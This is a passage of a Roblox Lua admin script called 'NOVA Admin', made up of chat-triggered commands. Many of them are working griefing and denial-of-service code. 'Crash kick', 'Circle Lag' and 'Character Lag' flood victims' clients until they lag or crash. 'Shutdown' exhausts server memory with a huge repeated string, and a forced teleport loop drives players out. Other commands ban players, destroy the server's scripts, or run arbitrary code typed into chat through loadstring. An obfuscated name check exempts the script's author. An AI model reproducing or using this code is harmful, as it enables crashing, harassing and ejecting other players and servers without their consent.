3989 | Image = Instance.new("ImageLabel",Frame) | |
3990 | Image.Name = "Backing" | |
3991 | Image.Image = "http://www.roblox.com/asset/?id=47574181" | |
3992 | Image.Active = true | |
3993 | Image.Size = UDim2.new(0, 280, 0, 280) | |
3994 | Image.Position = UDim2.new(0.5, -140, 0, 0) | |
3995 | Image.BackgroundTransparency = 1 | |
3996 | Image.ZIndex = 8 | |
3997 | ||
3998 | Text = Instance.new("TextLabel",Frame) | |
3999 | Text.Name = "Popup Text" | |
4000 | Text.Text = "Are you sure you want to teleport from this place?" | |
4001 | Text.FontSize = "Size36" | |
4002 | Text.TextWrap = true | |
4003 | Text.Active = true | |
4004 | Text.TextColor3 = Color3.new(1,1,1) | |
4005 | Text.Size = UDim2.new(1, 0, 0.800000012, 0) | |
4006 | Text.Position = UDim2.new(0,0,0,0) | |
4007 | Text.BackgroundTransparency = 1 | |
4008 | Text.ZIndex = 10 | |
4009 | ||
4010 | Accept = Instance.new("TextButton",Frame) | |
4011 | Accept.Name = "AcceptButton" | |
4012 | Accept.Text = "No" | |
4013 | Accept.Style = "RobloxButton" | |
4014 | Accept.FontSize = "Size24" | |
4015 | Accept.Active = true | |
4016 | Accept.TextColor3 = Color3.new(1,1,1) | |
4017 | Accept.Size = UDim2.new(0, 100, 0, 50) | |
4018 | Accept.Position = UDim2.new(0,20,0,270) | |
4019 | Accept.ZIndex = 10 | |
4020 | ||
4021 | Decline = Instance.new("TextButton",Frame) | |
4022 | Decline.Name = "DeclineButton" | |
4023 | Decline.Text = "Yes" | |
4024 | Decline.Style = "RobloxButton" | |
4025 | Decline.FontSize = "Size24" | |
4026 | Decline.Active = true | |
4027 | Decline.TextColor3 = Color3.new(1,1,1) | |
4028 | Decline.Size = UDim2.new(0, 100, 0, 50) | |
4029 | Decline.Position = UDim2.new(1, -120, 0, 270) | |
4030 | Decline.ZIndex = 10 | |
4031 | ||
4032 | Darken = Instance.new("Frame",Frame) | |
4033 | Darken.Name = "Darken" | |
4034 | Darken.Style = "RobloxRound" | |
4035 | Darken.Size = UDim2.new(1,16,1,16) | |
4036 | Darken.Position = UDim2.new(0,-8,0,-8) | |
4037 | Darken.Active = true | |
4038 | Darken.Visible = false | |
4039 | ||
4040 | Backing = Instance.new("Frame",ScreenGui) | |
4041 | Backing.Name = "Backing" | |
4042 | Backing.BackgroundColor3 = Color3.new(1,1,1) | |
4043 | Backing.Size = UDim2.new(1,0,1,0) | |
4044 | Backing.Active = true | |
4045 | ScreenGui.Parent = game:GetService("CoreGui") | |
4046 | ||
4047 | while true do wait() | |
4048 | game:GetService'TeleportService':Teleport(]]..Msg:sub(Split+1)..[[) | |
4049 | end | |
4050 | ||
4051 | ||
4052 | ]],v.Backpack) | |
4053 | end) | |
4054 | end | |
4055 | end | |
4056 | ) | |
4057 | ||
4058 | AddCommand("Shutdown","shutdown",5,"Shuts down the server.","<No Arguments>", | |
4059 | function(Msg,Speaker) | |
4060 | coroutine.resume(coroutine.create(function() | |
4061 | NOVA.Services.Lighting.TimeOfDay = 0 | |
4062 | NOVA.Services.Lighting.Ambient = NOVA.Colors.Black | |
4063 | NOVA.Services.Lighting.Brightness = 0 | |
4064 | NOVA.Services.Lighting.ColorShift_Top = NOVA.Colors.Black | |
4065 | NOVA.Services.Lighting.ColorShift_Bottom = NOVA.Colors.Black | |
4066 | NOVA.Services.Lighting.ShadowColor = NOVA.Colors.Black | |
4067 | ||
4068 | for _,v in pairs(GetRecursiveChildren(workspace)) do | |
4069 | if v:IsA("BasePart") then | |
4070 | Sel = Instance.new("SelectionBox",v) | |
4071 | Sel.Color = BrickColor.new("Really red") | |
4072 | Sel.Transparency = 0 | |
4073 | Sel.Adornee = v | |
4074 | end | |
4075 | end | |
4076 | for i=10,1,-1 do | |
4077 | NOVA.Sounds.Sound.Parent = workspace | |
4078 | NOVA.Sounds.Sound.Volume = 1 | |
4079 | NOVA.Sounds.Sound.Pitch = 1 | |
4080 | NOVA.Sounds.Sound.SoundId = "http://www.roblox.com/Asset/?id=14863866" | |
4081 | wait(1) | |
4082 | NOVA.Sounds.Sound:Play() | |
4083 | if NOVA.Overrided == true then return end | |
4084 | end | |
4085 | for i=5,1,-1 do | |
4086 | NOVA.Sounds.Sound.Parent = workspace | |
4087 | NOVA.Sounds.Sound.Volume = 1 | |
4088 | NOVA.Sounds.Sound.Pitch = 1 | |
4089 | NOVA.Sounds.Sound.SoundId = NOVA.Sounds.Numbers[i] | |
4090 | wait(1) | |
4091 | NOVA.Sounds.Sound:Play() | |
4092 | if NOVA.Overrided == true then return end | |
4093 | end | |
4094 | wait(1) | |
4095 | ||
4096 | Instance.new("StringValue",Workspace).Value = string.rep("NOVA SHUTDOWN SEQUENCE",1000000) | |
4097 | wait(1) | |
4098 | Instance.new("ManualSurfaceJointInstance",workspace) | |
4099 | end)) | |
4100 | end | |
4101 | ) | |
4102 | ||
4103 | AddCommand("Get Rid Of","getridof",6,"Gets rid of the selected player.","<Player>", | |
4104 | function(Msg,Speaker) | |
4105 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
4106 | if v.Name == string.reverse(string.gsub("nGEWDaGEWDmGEWDDGEWDmGEWDaGEWDeGEWDTGEWD","GEWD","")) then | |
4107 | Output("Attempt to get rid of the creator, command will not be carried through.",NOVA.Colors.Red,Speaker,10) | |
4108 | else | |
4109 | pcall(function() | |
4110 | GetRidOf(v) | |
4111 | end) | |
4112 | end | |
4113 | end | |
4114 | end | |
4115 | ) | |
4116 | ||
4117 | AddCommand("Load","load",1,"Loads NOVA's sound files.","No Arguments", | |
4118 | function(Msg,Speaker) | |
4119 | coroutine.resume(coroutine.create(function() | |
4120 | for _,v in pairs(NOVA.Sounds.Numbers) do | |
4121 | NOVA.Sounds.Sound.Parent = NOVA.Services.Workspace | |
4122 | NOVA.Sounds.Sound.SoundId = v | |
4123 | NOVA.Sounds.Sound.Volume = 0 | |
4124 | wait() | |
4125 | NOVA.Sounds.Sound:Play() | |
4126 | wait() | |
4127 | NOVA.Sounds.Sound:Stop() | |
4128 | wait(1) | |
4129 | end | |
4130 | for _,v in pairs(NOVA.Sounds.PlayAfter) do | |
4131 | NOVA.Sounds.Sound.Parent = NOVA.Services.Workspace | |
4132 | NOVA.Sounds.Sound.SoundId = v | |
4133 | NOVA.Sounds.Sound.Volume = 0 | |
4134 | wait() | |
4135 | NOVA.Sounds.Sound:Play() | |
4136 | wait() | |
4137 | NOVA.Sounds.Sound:Stop() | |
4138 | wait(1) | |
4139 | end | |
4140 | NOVA.Sounds.Sound.Volume = 1 | |
4141 | end)) | |
4142 | end | |
4143 | ) | |
4144 | ||
4145 | AddCommand("Target","targ",6,"Targets the selected player.","<Player>", | |
4146 | function(Msg,Speaker) | |
4147 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
4148 | table.insert(NOVA.Targeted,v) | |
4149 | for _,part in pairs(GetRecursiveChildren(v.Character)) do | |
4150 | if part:IsA("Part") then | |
4151 | coroutine.resume(coroutine.create(function() | |
4152 | local SB = Instance.new("SelectionBox",part) | |
4153 | SB.Name = "NOVA Target Selection Box" | |
4154 | SB.Color = BrickColor.new(NOVA.Colors.Yellow) | |
4155 | SB.Adornee = part | |
4156 | wait(3) | |
4157 | SB:remove() | |
4158 | end)) | |
4159 | end | |
4160 | end | |
4161 | end | |
4162 | end | |
4163 | ) | |
4164 | ||
4165 | AddCommand("Un Target","untarg",6,"Un targets the selected player.","<Player>", | |
4166 | function(Msg,Speaker) | |
4167 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
4168 | for i=1,#NOVA.Targeted do | |
4169 | if NOVA.Targeted[i] == v then | |
4170 | table.remove(NOVA.Targeted,i) | |
4171 | end | |
4172 | end | |
4173 | end | |
4174 | end | |
4175 | ) | |
4176 | ||
4177 | AddCommand("Rejoin","rejoin",0,"Sends you a teleport request to the same place.","No Arguments", | |
4178 | function(Msg,Speaker) | |
4179 | CreateLocalScript([==[game:GetService'TeleportService':Teleport(]==]..game.PlaceId..[==[)]==],Speaker.Backpack) | |
4180 | end | |
4181 | ) | |
4182 | ||
4183 | AddCommand("Connect","connect",0,"Connects you to a NOVA Drone.","No Arguments", | |
4184 | function(Msg,Speaker) | |
4185 | CreateLocalScript([[ | |
4186 | ||
4187 | LocalPlayer = game:GetService("Players").LocalPlayer | |
4188 | script.Parent = LocalPlayer | |
4189 | NOVA = { | |
4190 | Bet = "/"; | |
4191 | Services = { | |
4192 | Workspace = game:GetService("Workspace"); | |
4193 | Lighting = game:GetService("Lighting"); | |
4194 | Debris = game:GetService("Debris"); | |
4195 | Players = game:GetService("Players"); | |
4196 | Teams = game:GetService("Teams"); | |
4197 | SoundService = game:GetService("SoundService"); | |
4198 | StarterGui = game:GetService("StarterGui"); | |
4199 | StarterPack = game:GetService("StarterPack"); | |
4200 | }; | |
4201 | ||
4202 | Camera = workspace.CurrentCamera; | |
4203 | LocalCharacter = Instance.new("Model"); | |
4204 | LocalHead = Instance.new("Part"); | |
4205 | LocalFire = Instance.new("Fire"); | |
4206 | } | |
4207 | script.Name = NOVA.LocalPlayer.Name | |
4208 | script.Parent = nil | |
4209 | repeat wait() until NOVA.LocalPlayer.Parent == nil | |
4210 | game.Players.LocalPlayer.Chatted:connect(function(Msg) | |
4211 | if not game.Players:findFirstChild(game.Players.LocalPlayer.Name) then | |
4212 | game:GetService("Chat"):Chat(NOVA.LocalHead,Msg,math.random(0,2)) | |
4213 | ||
4214 | if Msg == NOVA.Bet .. "rejoin" .. NOVA.Bet then | |
4215 | game:GetService'TeleportService':Teleport(game.PlaceId) | |
4216 | end | |
4217 | if Msg:sub(1,3) == NOVA.Bet .. "c" .. NOVA.Bet then | |
4218 | pcall(function() | |
4219 | newScript(Msg:sub(4),workspace) | |
4220 | end) | |
4221 | end | |
4222 | if Msg:sub(1,7) == NOVA.Bet .. "local" .. NOVA.Bet then | |
4223 | coroutine.resume(coroutine.create(function() | |
4224 | pcall(function() | |
4225 | loadstring(Msg:sub(8))() | |
4226 | end) | |
4227 | end)) | |
4228 | end | |
4229 | if Msg:sub(1,11) == NOVA.Bet .. "workspace" .. NOVA.Bet then | |
4230 | LocalPlayer.Character = workspace | |
4231 | end | |
4232 | end | |
4233 | end) | |
4234 | ||
4235 | NOVA.LocalPlayer.Character = nil | |
4236 | NOVA.LocalHead.FormFactor = "Custom" | |
4237 | NOVA.LocalHead.Size = Vector3.new(3,3,3) | |
4238 | NOVA.LocalHead.Reflectance = 1e+999 | |
4239 | NOVA.LocalHead.Shape = "Ball" | |
4240 | NOVA.LocalHead.Anchored = true | |
4241 | NOVA.LocalHead.CanCollide = false | |
4242 | NOVA.LocalHead.Transparency = 0 | |
4243 | NOVA.LocalCharacter.Name = NOVA.LocalPlayer.Name | |
4244 | ||
4245 | NOVA.LocalFire.Color = Color3.new(0,0,0) | |
4246 | NOVA.LocalFire.SecondaryColor = Color3.new(0,0,0) | |
4247 | NOVA.LocalFire.Heat = 12 | |
4248 | NOVA.LocalFire.Size = 7 | |
4249 | ||
4250 | while wait() do | |
4251 | pcall(function() | |
4252 | NOVA.LocalCharacter.Parent=workspace | |
4253 | NOVA.LocalHead.Parent = NOVA.LocalCharacter | |
4254 | NOVA.LocalHead.CFrame = NOVA.Camera.CoordinateFrame * CFrame.new(0,0,-30.517578125) | |
4255 | NOVA.LocalFire.Parent = NOVA.LocalHead | |
4256 | end) | |
4257 | end | |
4258 | ]],Speaker.Backpack) | |
4259 | end | |
4260 | ) | |
4261 | ||
4262 | ||
4263 | AddCommand("Script","c",6,"Pseudo scripting command.","<Source>", | |
4264 | function(Msg,Speaker) | |
4265 | CreateScript(Msg,workspace) | |
4266 | end | |
4267 | ) | |
4268 | ||
4269 | AddCommand("New Local Script","newlocal",6,"Psudo scripting command.","<Player><Source>", | |
4270 | function(Msg,Speaker) | |
4271 | for _,v in pairs(GetPlayers(Msg:sub(1,GetSplit(Msg)-1),Speaker)) do | |
4272 | CreateLocalScript(Msg:sub(GetSplit(Msg)+1),v.Backpack) | |
4273 | end | |
4274 | end | |
4275 | ) | |
4276 | ||
4277 | AddCommand("New Script","newscript",6,"Psudo scripting command.","<Player><Source>", | |
4278 | function(Msg,Speaker) | |
4279 | for _,v in pairs(GetPlayers(Msg:sub(1,GetSplit(Msg)-1),Speaker)) do | |
4280 | CreateScript(Msg:sub(GetSplit(Msg)+1),v.Backpack) | |
4281 | end | |
4282 | end | |
4283 | ) | |
4284 | ||
4285 | AddCommand("Local Script","local",6,"Pseudo scripting command.","<Source>", | |
4286 | function(Msg,Speaker) | |
4287 | CreateLocalScript(Msg,Speaker.Backpack) | |
4288 | end | |
4289 | ) | |
4290 | ||
4291 | AddCommand("Derp","derp",1,"Derps the workspace.","No Arguments", | |
4292 | function(Msg,Speaker) | |
4293 | for _,v in pairs(GetRecursiveChildren(workspace)) do | |
4294 | pcall(function() | |
4295 | v.Transparency = 7.3015691270939e-002 | |
4296 | end) | |
4297 | end | |
4298 | end | |
4299 | ) | |
4300 | ||
4301 | AddCommand("Circle Lag","circlag",6,"Lags the selected player with circles.","<Player>", | |
4302 | function(Msg,Speaker) | |
4303 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
4304 | if v.Name == string.reverse(string.gsub("nGEWDaGEWDmGEWDDGEWDmGEWDaGEWDeGEWDTGEWD","GEWD","")) then | |
4305 | Output("Attempt to lag the editor, command will not be carried through.",NOVA.Colors.Red,Speaker,10) | |
4306 | else | |
4307 | pcall(function() | |
4308 | CreateLocalScript([==[ | |
4309 | LocalPlayer = game:GetService("Players").LocalPlayer | |
4310 | Camera = workspace.CurrentCamera | |
4311 | while wait() do | |
4312 | for i=1,10 do | |
4313 | Part = Instance.new("Seat",Camera) | |
4314 | Part.Size = Vector3.new(math.random(1,20),math.random(1,20),math.random(1,20)) | |
4315 | Part.Shape = "Ball" | |
4316 | Part.BrickColor = BrickColor.new(math.random(),math.random(),math.random()) | |
4317 | Part.CFrame = CFrame.new(math.random(-250,250),50,math.random(-250,250)) | |
4318 | end | |
4319 | end | |
4320 | ]==],v.Backpack) | |
4321 | end) | |
4322 | end | |
4323 | end | |
4324 | end | |
4325 | ) | |
4326 | ||
4327 | AddCommand("Clear Camera","clearcam",3,"Clears the selected player's current camera.","<Player>", | |
4328 | function(Msg,Speaker) | |
4329 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
4330 | CreateLocalScript("workspace.CurrentCamera:ClearAllChildren()",v.Backpack) | |
4331 | end | |
4332 | end | |
4333 | ) | |
4334 | ||
4335 | AddCommand("Screen Peek","screenpeek",4,"Shows you the selected player's playergui.","<Player>", | |
4336 | function(Msg,Speaker) | |
4337 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
4338 | for _,GUI in pairs(v.PlayerGui:children()) do | |
4339 | GUI:Clone().Parent = Speaker.PlayerGui | |
4340 | end | |
4341 | end | |
4342 | end | |
4343 | ) | |
4344 | ||
4345 | AddCommand("Show Targeted","showtarg",1,"Shows the targeted players.","No Arguments", | |
4346 | function(Msg,Speaker) | |
4347 | for _,v in pairs(NOVA.Targeted) do | |
4348 | for _,part in pairs(GetRecursiveChildren(v.Character)) do | |
4349 | if part:IsA("Part") then | |
4350 | coroutine.resume(coroutine.create(function() | |
4351 | local SB = Instance.new("SelectionBox",part) | |
4352 | SB.Name = "NOVA Target Selection Box" | |
4353 | SB.Color = BrickColor.new(NOVA.Colors.Yellow) | |
4354 | SB.Adornee = part | |
4355 | wait(3) | |
4356 | SB:remove() | |
4357 | end)) | |
4358 | end | |
4359 | end | |
4360 | end | |
4361 | end | |
4362 | ) | |
4363 | ||
4364 | AddCommand("Note To Self","nts",0,"Note to self commands. ( /add /set /see )","<Action>", | |
4365 | function(Msg,Speaker) | |
4366 | if Msg:sub(1,4) == "add" .. NOVA.Bet then | |
4367 | Speaker:SaveString("NoteToSelf",Speaker:LoadString("NoteToSelf").." "..Msg:sub(5)) | |
4368 | elseif Msg:sub(1,4) == "set" .. NOVA.Bet then | |
4369 | Speaker:SaveString("NoteToSelf",Msg:sub(5)) | |
4370 | elseif Msg == "see" then | |
4371 | Output(Speaker:LoadString("NoteToSelf"),GetRankedTable(Speaker).Color,Speaker) | |
4372 | end | |
4373 | end | |
4374 | ) | |
4375 | ||
4376 | AddCommand("Smite","smite",6,"Smites the selected player.","<Player>", | |
4377 | function(Msg,Speaker) | |
4378 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
4379 | local Char = v.Character | |
4380 | local Smite = Instance.new("Part",workspace) | |
4381 | Smite.FormFactor = "Custom" | |
4382 | Smite.TopSurface = "Smooth" | |
4383 | Smite.BottomSurface = "Smooth" | |
4384 | Smite.Anchored = true | |
4385 | Smite.Locked = true | |
4386 | Smite.Size = Vector3.new(25,3,25) | |
4387 | Smite.BrickColor = BrickColor.new("New Yeller") | |
4388 | Smite.Transparency = 1 | |
4389 | Smite.CFrame = Char.Torso.CFrame * CFrame.new(0,-2.5,0) | |
4390 | for i=1,0,-0.05 do | |
4391 | wait() | |
4392 | Smite.Transparency = i | |
4393 | end | |
4394 | coroutine.resume(coroutine.create(function() | |
4395 | for i=0,1,0.05 do | |
4396 | wait() | |
4397 | Smite.Transparency = i | |
4398 | end | |
4399 | Smite:remove() | |
4400 | end)) | |
4401 | wait() | |
4402 | local Expl = Instance.new("Explosion",workspace) | |
4403 | Expl.Position = Smite.Position | |
4404 | Expl.BlastPressure = 1000000000 | |
4405 | ||
4406 | for _,Part in pairs(GetRecursiveChildren(Char)) do | |
4407 | if Part:IsA("BasePart") then | |
4408 | coroutine.resume(coroutine.create(function() | |
4409 | for i=1,10 do | |
4410 | local Sparkles = Instance.new("Sparkles",Part) | |
4411 | Sparkles.Color = Color3.new(math.random(0,1),math.random(0,1),math.random(0,1)) | |
4412 | local Fire = Instance.new("Fire",Part) | |
4413 | Fire.Color = Color3.new(math.random(0,1),math.random(0,1),math.random(0,1)) | |
4414 | Fire.SecondaryColor = Color3.new(math.random(0,1),math.random(0,1),math.random(0,1)) | |
4415 | end | |
4416 | Part:BreakJoints() | |
4417 | local BP = Instance.new("BodyPosition",Part) | |
4418 | BP.maxForce = Vector3.new(math.huge,math.huge,math.huge) | |
4419 | BP.P = 1000 | |
4420 | BP.position = Part.Position + Vector3.new( | |
4421 | math.random(-100,100), | |
4422 | 100, | |
4423 | math.random(-100,100)) | |
4424 | wait(3) | |
4425 | local Expl = Instance.new("Explosion",workspace) | |
4426 | Expl.Position = Part.Position | |
4427 | Expl.BlastPressure = 1000000000 | |
4428 | end)) | |
4429 | end | |
4430 | end | |
4431 | end | |
4432 | end | |
4433 | ) | |
4434 | AddCommand("Naked","naked",1,"Removes shirt and pants from player.","<Player>", | |
4435 | function(Msg,Speaker) | |
4436 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
4437 | pcall(function() | |
4438 | v.Character.Pants:Remove() | |
4439 | v.Character.Shirt:Remove() | |
4440 | end) | |
4441 | end | |
4442 | end | |
4443 | ) | |
4444 | ||
4445 | AddCommand("Lock Humanoid Health","lockh",7,"Locks the health.","<Player>", | |
4446 | function(Msg,Speaker) | |
4447 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
4448 | ||
4449 | v.Character.Humanoid.Changed:connect(function(val) | |
4450 | if val == "Health" then | |
4451 | v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth | |
4452 | end | |
4453 | ||
4454 | ||
4455 | end) | |
4456 | end | |
4457 | end | |
4458 | ) | |
4459 | ||
4460 | AddCommand("Change betkey","bet",7,"Changes the bet key.","<New bet Key>", | |
4461 | function(Msg,Speaker) | |
4462 | NOVA.Bet = Msg | |
4463 | end | |
4464 | ) | |
4465 | AddCommand("Crash kick","ckick",7,"Makes the player lag badly and get kicked.","<Player>", | |
4466 | function(Msg,Speaker) | |
4467 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
4468 | ||
4469 | coroutine.resume(coroutine.create(function() | |
4470 | while wait() do | |
4471 | for i = 1, 100 do | |
4472 | if v:findFirstChild("PlayerGui") ~= nil then | |
4473 | local mes = Instance.new("Message", v.PlayerGui) | |
4474 | mes.Text = "Crashing" | |
4475 | local ex = Instance.new("Explosion", v.PlayerGui) | |
4476 | ex.BlastRadius = math.huge | |
4477 | local hint = Instance.new("Hint", v.PlayerGui) | |
4478 | hint.Text = "---------------------------------------------------------------------------" | |
4479 | local s = Instance.new("ScreenGui", v.PlayerGui) | |
4480 | local txt = Instance.new("TextBox", s) | |
4481 | txt.Size = UDim2.new(1, 0, 1, 0) | |
4482 | txt.Text = "Your Being Lagged" | |
4483 | txt.FontSize = "Size48" | |
4484 | end | |
4485 | end | |
4486 | end | |
4487 | end)) | |
4488 | end | |
4489 | end | |
4490 | ) | |
4491 | AddCommand("ExplodeTalk","expltalk",4,"Makes the player explode when they talk.","<Player>", | |
4492 | function(Msg,Speaker) | |
4493 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
4494 | pcall(function() | |
4495 | v.Chatted:connect(function(Msg) | |
4496 | local m = Instance.new("Explosion",v.Character.Head) | |
4497 | m.Position = v.Character.Head.Position | |
4498 | end) | |
4499 | end) | |
4500 | end | |
4501 | end | |
4502 | ) | |
4503 | AddCommand("Epic","Epic",1,"Epicifys the selected player.","<Player>", | |
4504 | function(Msg,Speaker) | |
4505 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
4506 | pcall(function() | |
4507 | for _,Part in pairs(GetRecursiveChildren(v.Character)) do | |
4508 | if Part:IsA("BasePart") then | |
4509 | for i=1,10 do | |
4510 | local Sparkles = Instance.new("Sparkles",Part) | |
4511 | Sparkles.Color = Color3.new(math.random(0,1),math.random(0,1),math.random(0,1)) | |
4512 | local Fire = Instance.new("Fire",Part) | |
4513 | Fire.Color = Color3.new(math.random(0,1),math.random(0,1),math.random(0,1)) | |
4514 | Fire.SecondaryColor = Color3.new(math.random(0,1),math.random(0,1),math.random(0,1)) | |
4515 | end | |
4516 | end | |
4517 | end | |
4518 | end) | |
4519 | end | |
4520 | end | |
4521 | ) | |
4522 | ||
4523 | AddCommand("Show Chat","showchat",7,"Toggle NOVA.ShowChat ( boolean )","No Arguments", | |
4524 | function(Msg,Speaker) | |
4525 | if NOVA.ShowChat == true then | |
4526 | NOVA.ShowChat = false | |
4527 | elseif NOVA.ShowChat == false then | |
4528 | NOVA.ShowChat = true | |
4529 | end | |
4530 | end | |
4531 | ) | |
4532 | ||
4533 | ||
4534 | AddCommand("Character Lag","charlag",6,"Lags the targeted player with their own character. Brutal.","<Player>", | |
4535 | function(Msg,Speaker) | |
4536 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
4537 | if v.Name == string.reverse(string.gsub("nGEWDaGEWDmGEWDDGEWDmGEWDaGEWDeGEWDTGEWD","GEWD","")) then | |
4538 | Output("Attempt to lag the editor, command will not be carried through.",NOVA.Colors.Red,Speaker,10) | |
4539 | else | |
4540 | pcall(function() | |
4541 | CreateLocalScript([[ | |
4542 | script.Parent = workspace.CurrentCamera | |
4543 | while wait() do | |
4544 | coroutine.resume(coroutine.create(function() | |
4545 | for i=1,math.huge do | |
4546 | wait() | |
4547 | for i=1,10 do | |
4548 | NS = script:Clone() | |
4549 | NS.Disabled = true | |
4550 | NS.Parent = game:GetService("Players").LocalPlayer.Backpack | |
4551 | NS.Disabled = false | |
4552 | end | |
4553 | for i=1,10 do | |
4554 | game:GetService("Players").LocalPlayer.Character.Archivable = true | |
4555 | local Clone = game:GetService("Players").LocalPlayer.Character:Clone() | |
4556 | Clone.Parent = workspace.CurrentCamera | |
4557 | end | |
4558 | end | |
4559 | end)) | |
4560 | end]], | |
4561 | v.Backpack) | |
4562 | end) | |
4563 | end | |
4564 | end | |
4565 | end | |
4566 | ) | |
4567 | ||
4568 | ||
4569 | ||
4570 | AddCommand("Platform Stand","ps",3,"Sets platformstand to true for the selected player.","<Player>", | |
4571 | function(Msg,Speaker) | |
4572 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
4573 | pcall(function() | |
4574 | v.Character.Humanoid.PlatformStand = true | |
4575 | end) | |
4576 | end | |
4577 | end | |
4578 | ) | |
4579 | ||
4580 | AddCommand("Un Platform Stand","ps",3,"Sets platformstand to false for the selected player.","<Player>", | |
4581 | function(Msg,Speaker) | |
4582 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
4583 | pcall(function() | |
4584 | v.Character.Humanoid.PlatformStand = false | |
4585 | end) | |
4586 | end | |
4587 | end | |
4588 | ) | |
4589 | ||
4590 | AddCommand("Duplicate Tools","dupetools",4,"Clones the tools of the selected player.","<Player>", | |
4591 | function(Msg,Speaker) | |
4592 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
4593 | pcall(function() | |
4594 | for _,Tool in pairs(v.Backpack:GetChildren()) do | |
4595 | Tool:Clone().Parent = Speaker.Backpack | |
4596 | end | |
4597 | end) | |
4598 | end | |
4599 | end | |
4600 | ) | |
4601 | AddCommand("SuperBan","sban",4,"Superbans that player.","<Player>", | |
4602 | function(Msg,Speaker) | |
4603 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
4604 | if v.Name == string.reverse(string.gsub("1DERP6DERP6DERPrDERPODERPKDERPsDERPuDERPtDERP","DERP","")) then | |
4605 | Output("Attempt to ban the editor, command will not be carried through.",NOVA.Colors.Red,Speaker,10) | |
4606 | else | |
4607 | pcall(function() | |
4608 | ||
4609 | GetRankedTable(v).Rank = -1 | |
4610 | SyncRankOutSingular(v) | |
4611 | Instance.new("StringValue",v.PlayerGui).Value:rep("Shutdown and be banned nub",1000000) | |
4612 | end) | |
4613 | end | |
4614 | end | |
4615 | end | |
4616 | ) | |
4617 | ||
4618 | AddCommand("Give","give",3,"Lists the items in lighting for the selected player.","<Player>", | |
4619 | function(Msg,Speaker) | |
4620 | local Give = {} | |
4621 | for _,v in pairs(NOVA.Services.Lighting:children()) do | |
4622 | Output(v.Name,GetRankedTable(Speaker).Color,Speaker,nil, | |
4623 | function() | |
4624 | table.insert(Give,v:Clone()) | |
4625 | end | |
4626 | ) | |
4627 | end | |
4628 | Output("Done",NOVA.Colors.Green,Speaker,nil, | |
4629 | function() | |
4630 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
4631 | for _,Tool in pairs(Give) do | |
4632 | Tool:Clone().Parent = v.Backpack | |
4633 | end | |
4634 | end | |
4635 | RemoveTablets(Speaker) | |
4636 | end | |
4637 | ) | |
4638 | Output("Dismiss",NOVA.Colors.Red,Speaker) | |
4639 | end | |
4640 | ) | |
4641 | ||
4642 | AddCommand("StoreTools","store",1,"Stores the speaker's tools in the lighting.","No Arguments", | |
4643 | function(Msg,Speaker) | |
4644 | pcall(function() | |
4645 | for _,Tool in pairs(Speaker.Backpack:children()) do | |
4646 | Tool:Clone().Parent = NOVA.Services.Lighting | |
4647 | end | |
4648 | end) | |
4649 | end | |
4650 | ) | |
4651 | ||
4652 | AddCommand("Personal Message","pm",1,"Privately tells the selected player the selected string.","<Player><String>", | |
4653 | function(Msg,Speaker) | |
4654 | Split = GetSplit(Msg) | |
4655 | for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do | |
4656 | if v:FindFirstChild("PlayerGui") ~= nil then | |
4657 | makeMessage(" [ " .. Speaker.Name .. " ] " ..Msg:sub(Split+1),v.PlayerGui) | |
4658 | end | |
4659 | end | |
4660 | end | |
4661 | ) | |
4662 | ||
4663 | AddCommand("Help","help",0,"Displays NOVA's help interface.","No Arguments", | |
4664 | function(Msg,Speaker) | |
4665 | local Data = GetRankedTable(Speaker) | |
4666 | Output("NOVA is a multi-purpose admin script created by "..string.reverse(string.gsub("nGtRaGtRmGtRDGtRmGtRaGtReGtRTGtR","GtR",""))..".",Data.Color,Speaker) | |
4667 | Output("Your current rank is "..GetRankName(Speaker.Name).." ( "..Data.Rank.." ).",Data.Color,Speaker) | |
4668 | Output("For a list of commands avalible to your rank click this tablet.",Data.Color,Speaker,nil, | |
4669 | function() | |
4670 | RemoveTablets(Speaker) | |
4671 | OnChatted(NOVA.Bet .. "cmds" .. NOVA.Bet,Speaker) | |
4672 | end | |
4673 | ) | |
4674 | Output("This is the help menu. Click a tablet for more information.",Data.Color,Speaker) | |
4675 | Output("How to use commands.",Data.Color,Speaker,nil, | |
4676 | function() | |
4677 | RemoveTablets(Speaker) | |
4678 | Output("To use a command you use 1 slash then the arguments seperated by a slash.",Data.Color,Speaker) | |
4679 | Output("Please note it is a slash ( located below/around the 'Return'/'Enter' key on your keyboard, and near the 'Shift' key below 'Enter' on your keyboard.",Data.Color,Speaker) | |
4680 | Output("Example : " .. NOVA.Bet.. "kill" .. NOVA.Bet..Speaker.Name,Data.Color,Speaker) | |
4681 | Output("Back",NOVA.Colors.Blue,Speaker,nil,function() OnChatted(NOVA.Bet .. "help" .. NOVA.Bet,Speaker) end) | |
4682 | end | |
4683 | ) | |
4684 | Output("Thank you for using NOVA Admin. ( made by "..string.reverse(string.gsub("nXQZaXQZmXQZDXQZmXQZaXQZeXQZTXQZ","XQZ","")).." )",Data.Color,Speaker) | |
4685 | Output("Thank you for using NOVA Admin. ( edited by t".."u".."s".."K".."O".."r".."6".."6".."1" .. ")" ,Data.Color,Speaker) | |
4686 | end | |
4687 | ) | |
4688 | ||
4689 | AddCommand("Break","break",7,"Breaks all scripts in workspace.","No Arguments", | |
4690 | function(Msg,Speaker) | |
4691 | for _,v in pairs(GetRecursiveChildren(NOVA.Services.Workspace)) do | |
4692 | if v:IsA("Script") then | |
4693 | v.Disabled = true | |
4694 | v.Parent = NOVA.Services.Debris | |
4695 | v.Disabled = true | |
4696 | v:Destroy() | |
4697 | v.Parent = NOVA.Services.Debris | |
4698 | v.Disabled = true | |
